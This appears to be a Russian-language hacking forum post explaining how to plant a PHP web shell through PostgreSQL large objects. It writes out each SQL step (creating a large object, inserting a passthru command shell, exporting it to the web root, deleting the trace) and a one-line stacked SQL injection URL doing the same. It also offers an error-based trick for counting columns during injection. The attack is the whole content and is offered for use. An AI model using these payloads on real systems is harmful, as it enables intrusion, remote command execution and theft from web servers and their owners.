Заливка шелла через большие объекты (large objects).
1. Создаем LO.
Код:
dbname=# SELECT lo_create(-1);
Запрос вернет идентификатор типа 4294967295. Это id созданного LO.
2. Подготовим шелл и пропишем его в БД
Код:
dbname=# UPDATE pg_largeobject SET data = '<?php passthru($_GET[cmd]); ?>' WHERE loid = 4294967295;
3. Экспортируем код во внешний файл
Код:
dbname=# SELECT lo_export(4294967295, '/var/www/public_html/uploads/shell.php');
Шелл залит. Осталось удалить LO из БД
Код:
dbname=# SELECT lo_unlink(4294967295);
Все это можно заюзать в одной строке
Код:
http://site.com/index.php?id=1;select+lo_creat(37337);update+pg_largeobject+set+data=$$some_code$$+where+loid=37337;select+lo_export(37337,$$some_file$$);select+lo_unlink(37337);--
Для заливки также требуются права usesuper
PS. Ну и случайно нашел. На запрос типа
Код:
http://site.com/index.php?id=1+and+1=(select+*+from+sometable+as+q(a,b,c,d,e,f))
вывалится ошибка
Код:
ERROR: table "q" has 5 columns available but 6 columns specified
ERROR: у таблицы "q" колонок доступно: 5, но указано: 6
если в таблице sometable 5 колонок (в запросе указано 6). При указании количества <= 5 будет ошибка
Код:
ERROR: subquery must return only one column
ERROR: подзапрос должен вернуть только одну колонку
Возможно, пригодится как альтернативный вариант подбора количества колонок в таблице